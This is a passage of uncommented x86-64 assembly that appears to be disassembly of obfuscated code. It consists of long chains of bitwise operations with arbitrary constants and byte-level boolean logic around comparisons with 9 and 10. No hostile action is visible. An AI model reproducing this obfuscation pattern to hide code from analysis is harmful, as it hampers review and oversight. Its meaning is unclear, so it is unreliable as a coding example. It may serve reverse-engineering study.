and ecx, 0x7f87e94a
or ecx, eax
mov edi, ecx
xor edi, 0xbc904e6a
xor ecx, 0x3631194
and r9d, 0xe8c01f6b
and r10d, 0x173fe094
or r10d, r9d
mov eax, r10d
xor eax, 0x3230094
xor r10d, 0xe8c01f6b
mov edx, edi
and edx, 0xf41cec41
and ecx, 0xbe313be
or ecx, edx
or edi, r10d
and r10d, 0xf41cec41
and eax, 0xbe313be
or eax, r10d
xor eax, ecx
not edi
or edi, eax
mov ebp, edi
not ebp
mov ebx, esi
mov eax, esi
xor eax, 0xb262fdd2
and eax, esi
not esi
mov ecx, edi
and ecx, esi
and ebx, ebp
or ebx, ecx
mov r8d, ebx
xor r8d, esi
and r8d, ebx
and esi, 0xb262fdd2
and edi, 0x151d29bd
mov ecx, ebp
and ecx, 0xeae2d642
or ecx, edi
mov edx, ecx
xor edx, 0xeae2d642
xor ecx, 0xa77fd46f
and ecx, edx
and ebp, 0x4d9d022d
mov edx, esi
and edx, eax
xor eax, esi
or eax, edx
mov edx, ecx
and edx, ebp
xor ebp, ecx
or ebp, edx
mov ecx, eax
not ecx
and ecx, 0xf04bb607
and eax, 0xfb449f8
or eax, ecx
mov ecx, ebp
not ecx
and ecx, 0xf04bb607
and ebp, 0xfb449f8
or ebp, ecx
xor ebp, eax
mov edi, r8d
mov ebx, r8d
xor ebx, 0x95d62df7
and ebx, r8d
not r8d
and r8d, 0x9fc08bc0
and edi, 0x603f743f
or edi, r8d
mov r8d, edi
xor r8d, 0x603f743f
mov edx, ebp
xor edx, 0x95d62df7
mov esi, edx
and edx, ebp
mov ecx, ebp
not ecx
xor edi, 0xa16a637
and edi, r8d
and esi, ecx
mov eax, edi
and eax, ebx
xor ebx, edi
or ebx, eax
mov eax, esi
not eax
mov ebp, edx
not ebp
mov edi, eax
and edi, 0x8748b2d5
and esi, 0x78b74d2a
or esi, edi
or eax, ebp
and ebp, 0x8748b2d5
and edx, 0x78b74d2a
or edx, ebp
xor edx, esi
not eax
or eax, edx
mov edx, ebx
not edx
and edx, eax
not eax
and eax, ebx
or eax, edx
mov edx, r8d
and edx, ecx
xor ecx, r8d
or ecx, edx
mov edx, ecx
not edx
and edx, 0xbf719ee0
and ecx, 0x408e611f
or ecx, edx
mov edx, ecx
xor edx, 0x820012
mov ebp, eax
not ebp
xor ecx, 0xbf719ee0
mov ebx, ebp
and ebx, 0xfe0d652d
and eax, 0x1f29ad2
or eax, ebx
or ebp, ecx
and ecx, 0xfe0d652d
and edx, 0x1f29ad2
or edx, ecx
xor edx, eax
not ebp
or ebp, edx
mov esi, ebp
not esi
mov eax, esi
and eax, 0x96810286
mov ebx, ebp
and ebx, 0x41082470
or ebx, eax
mov eax, ebx
xor eax, 0x1002470
xor ebx, 0x84450a07
mov ecx, esi
or ecx, 0xd78926f6
mov edx, ecx
not edx
and ebx, 0xc44d0a07
and eax, 0x138024f0
or eax, ebx
and ecx, 0xc44d0a07
and edx, 0x2832d108
or edx, ecx
xor edx, eax
mov eax, edx
not eax
and eax, 0x2876d909
and edx, 0xd78926f6
or edx, eax
mov eax, edx
not eax
and eax, 0x7f09270
and edx, 0xf80f6d8f
or edx, eax
mov edi, edx
xor edi, 0xf80f6d8f
xor edx, 0x3408010
and edx, 0x5346c017
mov eax, edi
and eax, 0xacb93fe8
or eax, edx
xor eax, 0xd30eb06b
and edi, 0x8048707c
or edi, eax
mov eax, edi
not eax
and eax, 0x8e7e2888
and edi, 0x7181d777
or edi, eax
mov r15d, edi
xor r15d, 0x7181d777
mov r8d, edi
xor r8d, 0x8e7e2888
and esi, 0x883fd265
and ebp, 0x77c02d9a
or ebp, esi
mov eax, ebp
xor eax, 0x77800d82
and eax, 0x7fb78f83
xor ebp, 0x877a219
or ebp, eax
mov ecx, ebp
not ecx
and ebp, 0x28a0b35b
mov esi, ecx
and esi, 0xd75f4ca4
or esi, ebp
mov ebp, esi
xor ebp, 0xd75f4ca4
xor edi, 0x4636ea94
and edi, r8d
mov ebx, r15d
and ebx, 0xc848c21c
xor esi, 0x28a0b35b
mov eax, ebp
and eax, 0x37b73de3
and ecx, 0xc848c21c
or ecx, eax
mov eax, edi
and eax, ebx
xor ebx, edi
or ebx, eax
mov eax, ebx
not eax
and eax, 0x30b02125
and ebx, 0xcf4fdeda
or ebx, eax
mov eax, ecx
not eax
and eax, 0x30b02125
and ecx, 0xcf4fdeda
or ecx, eax
xor ecx, ebx
mov eax, r15d
and eax, 0x862211fc
and r8d, 0x79ddee03
or r8d, eax
or r15d, esi
and esi, 0x862211fc
and ebp, 0x79ddee03
or ebp, esi
xor ebp, r8d
not r15d
or r15d, ebp
mov eax, r15d
not eax
and eax, 0xe3fd9436
and r15d, 0x1c026bc9
or r15d, eax
xor r15d, 0x1c026bc9
mov eax, ecx
and eax, r15d
xor r15d, ecx
or r15d, eax
mov r9d, r11d
not r9d
mov eax, r9d
and eax, 0x957d9b1
mov ebp, r11d
and ebp, 0xf6a8264e
or ebp, eax
mov ecx, ebp
xor ecx, 0x8408240e
xor ebp, 0x94411a0
and ebp, 0x7be413e0
and ecx, 0x841bec1f
or ecx, ebp
mov eax, ecx
xor eax, 0x116c13
xor ecx, 0x7ac00020
and ecx, 0xfeca802c
and eax, 0x1357fd3
or eax, ecx
mov edi, eax
xor edi, 0x1357fd3
mov ebp, r9d
and ebp, 0xf3042fc
mov ebx, r11d
and ebx, 0xf0cfbd03
or ebx, ebp
xor ebx, 0xf0cfbd03
mov ebp, ebx
xor ebp, r9d
and ebp, ebx
xor eax, 0xfeca802c
and eax, ebp
not ebp
mov ecx, edi
xor ecx, ebp
and ecx, edi
and ebp, edi
or ebp, eax
mov esi, ecx
not esi
mov ebx, ebp
not ebx
mov eax, esi
and eax, 0x75bf4f48
and ecx, 0x8a40b0b7
or ecx, eax
or esi, ebx
and ebx, 0x75bf4f48
and ebp, 0x8a40b0b7
or ebp, ebx
xor ebp, ecx
not esi
or esi, ebp
mov r10d, r9d
and r10d, r11d
mov ebx, r15d
not ebx
mov edi, r15d
xor edi, 0xfa7d61db
and edi, r15d
mov r8d, r15d
mov r14d, ebx
mov eax, ebx
and eax, 0xff528c16
and r15d, 0xad73e9
or r15d, eax
xor r15d, 0x2bbd85c3
or r15d, ebx
and ebx, 0xfa7d61db
mov eax, ebx
and eax, edi
xor edi, ebx
or edi, eax
mov eax, edi
not eax
and eax, 0x5829e24
and edi, 0xfa7d61db
or edi, eax
mov eax, esi
not eax
mov ecx, eax
or ecx, 0xf875d786
mov ebx, ecx
not ebx
or esi, 0x2880819
and esi, 0x52c9cc9f
and eax, 0xa8341300
or eax, esi
and ecx, 0x52c9cc9f
and ebx, 0x5022060
or ebx, ecx
xor ebx, eax
mov eax, ebx
not eax
and eax, 0xdb8ea2a2
and ebx, 0x24715d5d
or ebx, eax
mov ecx, ebx
xor ecx, 0x8000001a
mov esi, edi
not esi
xor ebx, 0x23fb7524
mov ebp, esi
or ebp, ebx
mov eax, ebp
not eax
and esi, 0x5cd58be5
and edi, 0xa32a741a
or edi, esi
and ebx, 0x5cd58be5
and ecx, 0xa32a741a
or ecx, ebx
xor ecx, edi
mov esi, ecx
not esi
mov edi, ebp
and edi, 0x4a3f62fb
and eax, 0xb5c09d04
or eax, edi
or ebp, esi
and esi, 0x4a3f62fb
and ecx, 0xb5c09d04
or ecx, esi
xor ecx, eax
not ebp
or ebp, ecx
mov eax, ebp
not eax
mov ecx, eax
and ecx, ebp
mov esi, ecx
not esi
mov edi, ebp
and edi, 0x677d54a6
and eax, 0x9882ab59
or eax, edi
or ebp, esi
and esi, 0x677d54a6
and ecx, 0x9882ab59
or ecx, esi
xor ecx, eax
not ebp
or ebp, ecx
or r8d, 0x192350d8
mov eax, r8d
not eax
or r14d, 0xe6dcaf27
mov ecx, r14d
not ecx
and r8d, 0xaa9111af
and eax, 0x444cae00
or eax, r8d
and r14d, 0xaa9111af
and ecx, 0x11224050
or ecx, r14d
xor ecx, eax
mov eax, ecx
not eax
and eax, 0x76b8325a
and ecx, 0x8947cda5
or ecx, eax
mov ebx, ecx
xor ebx, 0x3926280
xor ecx, 0x10401d4d
and ecx, 0x7c491d4f
and ebx, 0x83b6e2b0
or ebx, ecx
mov eax, ebx
xor eax, 0x110e200
xor ebx, 0x28000408
and ebx, 0x2a000428
and eax, 0x110f202
or eax, ebx
mov ecx, eax
xor ecx, 0x110f202
xor eax, 0xfeef0dfd
mov edx, r15d
not edx
and edx, eax
or eax, r15d
mov ebx, eax
not ebx
and r15d, ecx
or r15d, edx
mov ecx, r15d
not ecx
mov edx, eax
and edx, 0xc3b3265
and ebx, 0x2300c40a
or ebx, edx
or eax, ecx
and ecx, 0xc3b3265
and r15d, 0xf3c4cd9a
or r15d, ecx
xor r15d, ebx
not eax
or eax, r15d
mov ecx, eax
mov edx, eax
xor edx, 0x820f64ac
and edx, eax
not eax
and eax, 0x427d5c52
and ecx, 0xbd82a3ad
or ecx, eax
mov eax, ecx
xor eax, 0x800220a4
xor ecx, 0x20d4400
or ecx, 0x7df09b53
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x7584d048
and eax, 0x820b24a4
or eax, edi
or ecx, ebx
and ebx, 0x7584d048
and edx, 0x8a7b2fb7
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x56e06d79
and ecx, 0xa91f9286
or ecx, eax
mov eax, r9d
and eax, 0x83a04801
mov edx, r11d
and edx, 0x5aa5e0
or edx, eax
mov eax, edx
xor eax, 0x10a0c0
xor edx, 0x86a01011
mov edi, r9d
or edi, 0x83faede1
mov ebx, edi
not ebx
and edx, 0x86ea1531
and eax, 0x110e8c0
or eax, edx
and edi, 0x86ea1531
and ebx, 0x7805020e
or ebx, edi
xor ebx, eax
mov eax, ebx
not eax
and eax, 0x7c05121e
and ebx, 0x83faede1
or ebx, eax
mov edx, ebx
xor edx, 0xf610f96e
mov edi, edx
and edx, ebx
not ebx
and edi, ebx
mov eax, ecx
mov esi, ebx
and esi, ecx
xor ebx, ecx
not ecx
and eax, 0xf610f96e
and ecx, 0x9ef0691
or ecx, eax
mov eax, edi
and eax, edx
xor edx, edi
or edx, eax
mov eax, edx
not eax
and eax, ecx
not ecx
and ecx, edx
or ecx, eax
or ebx, esi
mov eax, ebx
not eax
and eax, 0xb850cb28
and ebx, 0x47af34d7
or ebx, eax
xor ebx, 0x47af34d7
mov eax, ecx
and eax, ebx
xor ebx, ecx
or ebx, eax
mov eax, ebx
not eax
and eax, 0xa18a7a1
and ebx, 0xf5e7585e
or ebx, eax
mov r8d, ebx
xor r8d, 0xf5e7585e
xor ebx, 0xa18a7a1
mov eax, ebx
and eax, 0xf6f31e9e
mov ecx, r8d
and ecx, 0x90ce161
or ecx, eax
xor ecx, ebp
mov edx, ebp
mov eax, ebp
xor ecx, 0xf6f31e9e
and ecx, ebp
not ebp
mov esi, ebp
and esi, 0x9a589ab1
and edx, 0x65a7654e
or edx, esi
mov esi, edx
xor esi, 0x4520210e
xor edx, 0x9a589ab1
mov edi, edx
and edi, 0x209f56e1
and esi, 0xdf60a91e
or esi, edi
or edx, r8d
and r8d, 0x209f56e1
and ebp, 0x191c266f
and eax, 0xe6e3d990
or eax, ebp
xor eax, 0x191c266f
or eax, ebx
and ebx, 0xdf60a91e
or ebx, r8d
xor ebx, esi
not edx
or edx, ebx
mov ebp, edx
not ebp
and ebp, 0xc28b975a
and edx, 0x3d7468a5
or edx, ebp
mov ebp, edx
xor ebp, 0x3d7468a5
not eax
mov ebx, eax
and ebx, ecx
xor ecx, eax
or ecx, ebx
xor edx, 0xc28b975a
and edx, ecx
not ecx
mov eax, ebp
xor eax, ecx
and eax, ebp
and ecx, ebp
or ecx, edx
mov r8d, eax
not r8d
mov edx, ecx
not edx
mov edi, r8d
and edi, 0x1b7aca02
and eax, 0xe48535fd
or eax, edi
or r8d, edx
and edx, 0x1b7aca02
and ecx, 0xe48535fd
or ecx, edx
xor ecx, eax
not r8d
or r8d, ecx
mov eax, r9d
and eax, r10d
xor r10d, r9d
or r10d, eax
mov eax, r10d
not eax
and r10d, 0x620e9a0a
and eax, 0x9df165f5
or eax, r10d
mov ecx, eax
xor ecx, 0x9df165f5
mov r10d, eax
xor r10d, 0x620e9a0a
and r9d, 0xa45bee99
and r11d, 0x5ba41166
or r11d, r9d
mov edx, r11d
xor edx, 0x5ba41166
xor r11d, 0xa45bee99
or r11d, edx
mov edx, r11d
not edx
and edx, 0x16bb9561
and r11d, 0xe9446a9e
or r11d, edx
mov edx, r11d
xor edx, 0xe9446a9e
xor r11d, 0x918061
and r11d, 0xc8d1a07b
mov ebp, edx
and ebp, 0x372e5f84
or ebp, r11d
mov esi, ebp
xor esi, 0x372e5f84
xor eax, 0x1ba9aa1e
mov r9d, eax
and r9d, r10d
and eax, ecx
xor ebp, 0xc8d1a07b
mov ebx, esi
and ebx, 0x8658cfeb
and edx, 0x79a73014
or edx, ebx
mov edi, r9d
and edi, eax
xor eax, r9d
or eax, edi
mov ebx, eax
not ebx
and ebx, edx
not edx
and edx, eax
or edx, ebx
mov eax, ecx
and eax, 0x9b8f191e
and r10d, 0x6470e6e1
or r10d, eax
or ecx, ebp
and ebp, 0x9b8f191e
and esi, 0x6470e6e1
or esi, ebp
xor esi, r10d
not ecx
or ecx, esi
mov eax, ecx
not eax
mov edi, edx
not edi
mov ebp, edi
and ebp, 0xe2f5867b
and edx, 0x1d0a7984
or edx, ebp
or edi, ecx
and ecx, 0xe2f5867b
and eax, 0x1d0a7984
or eax, ecx
xor eax, edx
not edi
or edi, eax
mov ecx, r8d
not ecx
mov edx, ecx
and edx, 0x87499136
mov eax, r8d
xor eax, 0x87499136
and eax, r8d
mov ebp, edx
and ebp, eax
xor eax, edx
or eax, ebp
mov edx, eax
not edx
and edx, 0x748e5a7e
and eax, 0x8b71a581
or eax, edx
mov ebp, edi
not ebp
mov edx, ebp
and edx, 0xa9e6e029
mov esi, edi
and esi, 0x56191fd6
or esi, edx
xor esi, 0x56191fd6
xor eax, 0xf3c7cb48
mov edx, esi
and edx, eax
xor eax, esi
or eax, edx
mov edx, eax
not edx
and edx, 0xb9bb2036
and eax, 0x4644dfc9
or eax, edx
mov ebx, eax
xor ebx, 0x44045d09
and edi, 0x7e338e09
and ebp, 0x81cc71f6
or ebp, edi
mov edx, ebp
xor edx, 0x7e338e09
xor ebp, 0x81cc71f6
and ebp, ecx
and edx, r8d
or edx, ebp
not edx
or edx, ecx
mov ebp, edx
not ebp
xor eax, 0xb9bb2036
mov edi, eax
or edi, edx
not edi
and eax, 0xabf0a2d6
and ebx, 0x540f5d29
or ebx, eax
and edx, 0xabf0a2d6
and ebp, 0x540f5d29
or ebp, edx
xor ebp, ebx
mov eax, edi
and eax, ebp
xor ebp, edi
or ebp, eax
mov eax, r8d
xor eax, 0xbd684110
and eax, r8d
or r8d, 0x4297beef
mov edx, eax
not edx
mov ebx, r8d
and ebx, 0x3aaa8233
and ecx, 0x85404100
or ecx, ebx
or r8d, edx
and edx, 0x3aaa8233
and eax, 0xc5557dcc
or eax, edx
xor eax, ecx
not r8d
or r8d, eax
mov eax, r8d
not eax
and eax, 0x4297beef
and r8d, 0xbd684110
or r8d, eax
mov ecx, ebp
not ecx
mov eax, ecx
and eax, 0x945e61ea
mov edx, ebp
and edx, 0x6ba19e15
or edx, eax
mov eax, ecx
or eax, r8d
not r8d
xor edx, 0x945e61ea
or edx, r8d
not edx
not eax
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
and ecx, 0x2a664523
and ebp, 0xd599badc
or ebp, ecx
mov ecx, ebp
xor ecx, 0xd599badc
xor ebp, 0x2a664523
and ebp, eax
not eax
and ecx, eax
or ebp, ecx
xor eax, ebp
test eax, ebp
setne r10b
sete r9b
mov ecx, dword [rsp + 0x34]
cmp ecx, 0xa
setl al
cmp ecx, 9
setg bl
mov byte [rsp + 0x50], bl
mov r8d, ebx
xor r8b, al
mov byte [rsp + 0x38], r8b
mov edi, r8d
xor dil, 1
mov ecx, edi
xor cl, al
and r8b, al
and bl, dil
or bl, r8b
xor bl, 1
or bl, al
not cl
and cl, dil
or al, dil
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
xor al, 1
mov ecx, ebx
or cl, al
xor al, bl
mov edx, ecx
xor dl, al
xor al, 1
xor dl, 1
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov ebx, ecx
xor bl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, bl
or cl, al
xor cl, dl
and dl, cl
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov edx, ecx
xor dl, 1
mov ebx, ecx
and bl, dl
mov eax, ebx
xor al, 1
xor bl, cl
or al, dl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
or al, cl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, eax
xor cl, 1
mov ebx, ecx
and bl, al
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov r8d, ebx
xor r8b, 1
or cl, al
mov edx, r8d
and dl, bl
xor r8b, dl
xor dl, 1
or dl, bl
xor dl, 1
or dl, r8b
mov eax, edx
xor al, 1
and al, cl
xor cl, 1
and dl, cl
or dl, al
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov r8d, edx
xor r8b, 1
mov eax, r8d
and al, dl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
mov ebx, edx
or bl, r8b
mov esi, ebx
xor sil, 1
and sil, cl
or cl, bl
xor cl, 1
and bl, al
or bl, sil
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov ebp, ebx
xor bpl, 1
mov ecx, ebx
and cl, bpl
mov esi, ebx
and sil, cl
xor cl, bl
or cl, sil
mov eax, ecx
xor al, 1
or bpl, bl
mov ebx, ebp
xor bl, 1
and bl, al
or al, bpl
and bpl, cl
or bpl, bl
xor bpl, 1
mov ecx, eax
xor cl, bpl
or bpl, al
xor bpl, 1
or bpl, cl
mov esi, ebp
xor sil, 1
xor r8b, dl
mov eax, r8d
xor al, 1
and al, dl
mov ecx, eax
and cl, r8b
xor al, r8b
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
mov ecx, edx
xor cl, al
mov ebx, ecx
xor bl, 1
or dl, al
xor dl, 1
or dl, cl
xor cl, dl
xor cl, 1
or dl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
mov ebx, eax
and bl, sil
mov edx, ebp
and dl, cl
or dl, bl
xor dl, 1
or dl, sil
xor dl, 1
and al, cl
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
and bpl, al
xor al, 1
and al, sil
or al, bpl
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov byte [rsp + 0x34], al
mov byte [rsp + 0x32], r9b
mov eax, r9d
xor al, r10b
mov edx, eax
xor dl, 1
mov byte [rsp + 0x58], dl
and dl, al
xor dl, 1
mov ecx, eax
xor cl, dl
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
not al
mov ecx, r10d
xor cl, dl
and al, r10b
or r10b, dl
xor r10b, 1
or r10b, cl
mov ebx, r10d
not bl
and dl, r9b
or dl, al
mov ecx, edx
xor cl, 1
and dl, r10b
or r10b, cl
and cl, bl
or cl, dl
xor cl, 1
mov eax, r10d
xor al, cl
or cl, r10b
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
or cl, al
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ecx
and dl, bl
xor dl, 1
mov eax, ebx
xor al, dl
or dl, bl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
or bl, cl
mov ecx, ebx
xor cl, 1
mov r8d, eax
and r8b, dl
mov r10d, eax
and r10b, r8b
mov esi, eax
xor sil, r8b
or sil, r10b
xor sil, bl
xor bl, al
or cl, dl
xor cl, 1
or cl, bl
xor cl, 1
mov ebx, esi
and bl, cl
xor cl, sil
or cl, bl
xor al, dl
or al, r8b
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
mov ebx, ecx
xor bl, al
and bl, cl
and al, cl
or al, dl
mov ecx, ebx
xor cl, 1
xor bl, al
xor al, 1
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, edx
xor bl, 1
or bl, dl
xor cl, al
and cl, al
mov eax, ecx
and cl, bl
xor bl, 1
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov edx, eax
and dl, cl
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
mov ebx, eax
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
xor cl, 1
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r9d, eax
xor r9b, 1
mov ecx, r9d
and cl, al
xor r9b, al
or r9b, cl
xor cl, 1
mov edx, ecx
or dl, al
xor dl, 1
xor cl, al
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov r10d, ecx
xor r10b, 1
mov eax, ecx
or al, r10b
mov r11d, eax
xor r11b, 1
mov r12d, r10d
and r12b, cl
mov esi, r11d
and sil, al
xor r12b, 1
mov ebp, r12d
xor bpl, cl
or r12b, cl
mov r13d, esi
xor r13b, 1
or r13b, al
mov r15d, ecx
and r15b, al
xor al, cl
mov ebx, r9d
xor bl, cl
and bl, r9b
and cl, r9b
mov edx, r9d
xor r9b, 1
or dl, r9b
mov r8d, r9d
or r8b, dl
xor dl, r9b
mov r14d, r8d
xor r14b, dl
xor dl, 1
or dl, r8b
xor r14b, 1
xor dl, 1
or dl, r14b
xor r12b, 1
or r12b, bpl
xor sil, r11b
xor r13b, 1
or r13b, sil
xor r13b, r12b
or al, r15b
xor al, 1
mov r8d, r13d
and r8b, al
xor al, r13b
or al, r8b
mov r8d, edx
xor r8b, al
and al, r8b
and r8b, dl
xor al, 1
xor r8b, 1
mov edx, eax
xor dl, r8b
or r8b, al
xor r8b, 1
or r8b, dl
and r10b, r9b
or cl, r10b
xor bl, 1
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov r10d, ecx
xor r10b, 1
and r10b, cl
xor r10b, 1
mov eax, ecx
xor al, r10b
or r10b, cl
xor r10b, 1
or r10b, al
mov eax, r8d
xor al, r10b
or r10b, r8b
xor r10b, 1
or r10b, al
xor r10b, 1
mov ecx, eax
and cl, r10b
xor r10b, al
or r10b, cl
movzx edx, byte [rsp + 0x34]
mov ebp, edx
xor bpl, 1
mov byte [rsp + 0x54], bpl
mov ecx, ebp
or cl, dl
mov ebx, ecx
xor bl, 1
mov r14d, ebx
mov r8d, ebx
and r14b, cl
mov r15d, ecx
mov r11d, ebp
and r11b, dl
mov ebx, r11d
and bl, bpl
xor bpl, r11b
or bl, bpl
mov ecx, r14d
xor cl, 1
mov esi, r14d
xor sil, r8b
mov r12d, r8d
mov byte [rsp + 0x5c], r8b
or cl, r15b
xor cl, 1
or cl, sil
xor cl, bl
mov eax, edx
and al, r15b
mov ebx, edx
xor bl, r15b
mov byte [rsp + 0x44], bl
or al, bl
xor al, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
and cl, al
mov ebx, ecx
and bl, al
xor cl, al
or cl, bl
mov r9d, ecx
xor r9b, 1
mov ebx, r9d
and bl, cl
mov eax, r9d
xor al, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, al
mov r8d, ebx
xor r8b, 1
mov eax, ebx
xor al, r8b
or r8b, bl
xor r8b, 1
or r8b, al
and al, bl
or r9b, cl
xor al, 1
mov ecx, eax
or cl, r9b
xor al, r9b
xor cl, 1
mov ebx, ecx
and bl, al
xor al, cl
or al, bl
mov ebx, eax
xor bl, 1
mov ecx, ebx
and cl, al
xor bl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, bl
mov eax, r8d
xor al, 1
mov ebx, ecx
xor bl, r8b
and bl, cl
and r8b, cl
xor cl, 1
and cl, al
or r8b, cl
mov eax, ebx
and al, r8b
xor r8b, bl
or r8b, al
xor r11b, 1
or r11b, dl
xor r11b, 1
or r11b, bpl
xor r11b, 1
and r14b, r12b
or r14b, sil
xor r14b, r11b
mov eax, r11d
mov byte [rsp + 0x40], r15b
and al, r15b
xor r11b, r15b
or r11b, al
mov eax, r14d
xor al, r11b
or r11b, r14b
xor r11b, 1
or r11b, al
mov r9d, r8d
xor r9b, 1
mov ecx, r9d
or cl, r8b
xor cl, 1
mov ebx, ecx
xor bl, r8b
or cl, r8b
xor cl, 1
or cl, bl
xor bl, 1
mov eax, ebx
xor al, cl
or cl, bl
mov edx, r11d
xor dl, 1
xor cl, 1
or cl, al
mov eax, r11d
and al, dl
mov ebx, eax
and bl, r11b
xor al, r11b
or al, bl
or dl, r11b
mov ebx, eax
xor bl, 1
xor al, dl
xor al, 1
or dl, bl
xor dl, 1
or dl, al
xor cl, 1
mov eax, edx
xor al, cl
xor al, 1
and al, dl
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
and r8b, r9b
mov eax, r9d
and al, r8b
xor r8b, r9b
or r8b, al
mov eax, r8d
xor al, 1
mov edx, eax
and dl, r8b
xor dl, 1
mov ebx, r8d
xor bl, dl
or dl, r8b
or r8b, cl
xor cl, 1
xor dl, 1
or dl, bl
xor dl, cl
xor al, cl
xor r8b, 1
or r8b, al
xor r8b, 1
mov eax, edx
and al, r8b
xor r8b, dl
or r8b, al
movzx r14d, byte [rsp + 0x50]
or r14b, dil
mov esi, r14d
xor sil, 1
mov r9d, edi
movzx ebp, byte [rsp + 0x38]
and r9b, bpl
mov ecx, edi
and cl, r9b
xor r9b, dil
or r9b, cl
mov edx, r14d
or dl, sil
mov ecx, edx
and cl, r14b
xor dl, r14b
or cl, dl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
mov eax, r9d
xor al, 1
or cl, bl
mov edx, eax
or dl, r9b
mov r11d, r9d
and r11b, dl
xor dl, 1
mov ebx, edx
xor bl, al
and bl, dl
and dl, al
or dl, r11b
mov r11d, ebx
and r11b, dl
xor dl, bl
or dl, r11b
mov r11d, edx
xor r11b, 1
mov ebx, r11d
and bl, dl
xor r11b, bl
xor bl, 1
or bl, dl
xor bl, 1
or bl, r11b
mov edx, ebx
and dl, cl
xor cl, 1
xor bl, 1
and bl, cl
or bl, dl
xor r9b, sil
mov edx, r14d
and sil, r14b
xor sil, 1
mov ecx, r14d
xor cl, sil
or sil, r14b
xor sil, 1
or sil, cl
xor sil, al
or al, r14b
xor al, 1
or al, r9b
mov ecx, esi
xor cl, al
or al, sil
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
xor cl, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
mov ecx, ebx
xor cl, 1
and dl, cl
or cl, al
xor cl, 1
and al, bl
or al, dl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
and al, 1
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
or cl, al
mov eax, edx
xor al, cl
or cl, dl
xor cl, 1
or cl, al
mov r9d, ecx
xor r9b, 1
or dil, bpl
mov edx, edi
xor dl, 1
mov r11d, edi
or r11b, dl
mov eax, r11d
xor al, 1
mov ebx, r9d
or bl, cl
xor bl, 1
mov esi, r9d
and sil, bl
xor bl, r9b
or bl, sil
mov r9d, edx
and r9b, r11b
mov esi, eax
and sil, dil
or sil, r9b
xor r11b, dil
or al, dl
xor al, 1
or al, r11b
xor al, 1
mov r9d, esi
and r9b, al
xor al, sil
or al, r9b
xor al, bl
mov ebx, eax
xor bl, 1
xor dl, cl
and dl, cl
xor dil, cl
xor dl, 1
xor dil, 1
mov ecx, edx
xor cl, dil
or dil, dl
xor dil, 1
or dil, cl
mov ecx, edi
xor cl, 1
and dil, cl
mov edx, ecx
and dl, dil
xor dil, cl
or dil, dl
mov edx, edi
xor dl, 1
and bl, al
and dl, dil
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
mov ecx, edx
and cl, dil
xor dl, dil
or dl, cl
mov ecx, ebx
xor cl, 1
and cl, dl
xor dl, 1
and dl, bl
or dl, cl
mov ecx, eax
xor cl, dil
or dil, al
xor dil, 1
or dil, cl
mov eax, edx
xor al, dil
xor dl, 1
xor al, 1
or dl, dil
xor dl, 1
or dl, al
mov r11d, edx
